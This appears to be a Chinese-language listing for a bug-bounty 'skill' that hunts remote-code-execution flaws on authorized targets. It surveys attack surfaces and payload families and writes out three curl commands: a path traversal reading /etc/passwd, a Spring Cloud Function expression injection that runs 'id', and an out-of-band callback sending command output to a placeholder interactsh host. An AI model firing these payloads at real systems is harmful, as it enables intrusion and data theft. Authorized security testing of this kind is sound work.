用途：用于在授权目标上寻找 RCE 类漏洞。RCE 因可直接控制目标基础设施，通常是赏金最高的漏洞类别。
主要能力：覆盖模板注入、命令注入、YAML/XML 反序列化、依赖混淆、路径穿越到执行、Kubernetes/云原生暴露面、OAuth 重定向与 URL scheme 等方向；提供 URL 模式、响应头与技术栈信号、JS 前端信号等攻击面识别线索；给出分步狩猎方法（映射执行上下文、枚举管理接口、探测模板注入、测试 YAML/XML 输入、检查文件路径操作、审计云原生面、使用带外回调验证、链路提权）。
典型载荷模式包括通用模板探测 {{77}}${77}#{77}<%= 77 %>、Nomad 模板注入、SnakeYAML 与 Ruby YAML gadget、依赖混淆检测、ingress-nginx 路径注入、暴露的 Kubernetes API 检查、带外 RCE 确认、ActiveStorage 路径穿越到 RCE、args4j @ 前缀文件扩展（Jenkins CVE-2024-23897 家族）等。
必要用法示例（保持原样）： curl --max-time 30 --connect-timeout 10 --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd" curl --max-time 30 --connect-timeout 10 -X POST http://target:8080/functionRouter -H "Content-Type: text/plain" -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' --data "x" curl --max-time 30 --connect-timeout 10 "http://$(id | base64).YOUR-INTERACTSH-URL/"
适用场景：企业服务器产品、自托管 GitLab/GHES、供应链与包注册表、云原生基础设施、管理控制台、移动端后端与 OAuth 流程等。
限制：需在合法授权范围内使用；技能本身只提供方法与载荷示例，不保证命中；部分步骤依赖带外回调（Burp Collaborator、interactsh、canarytokens）与特定技术栈版本条件；官方文档与安装方式暂未提供。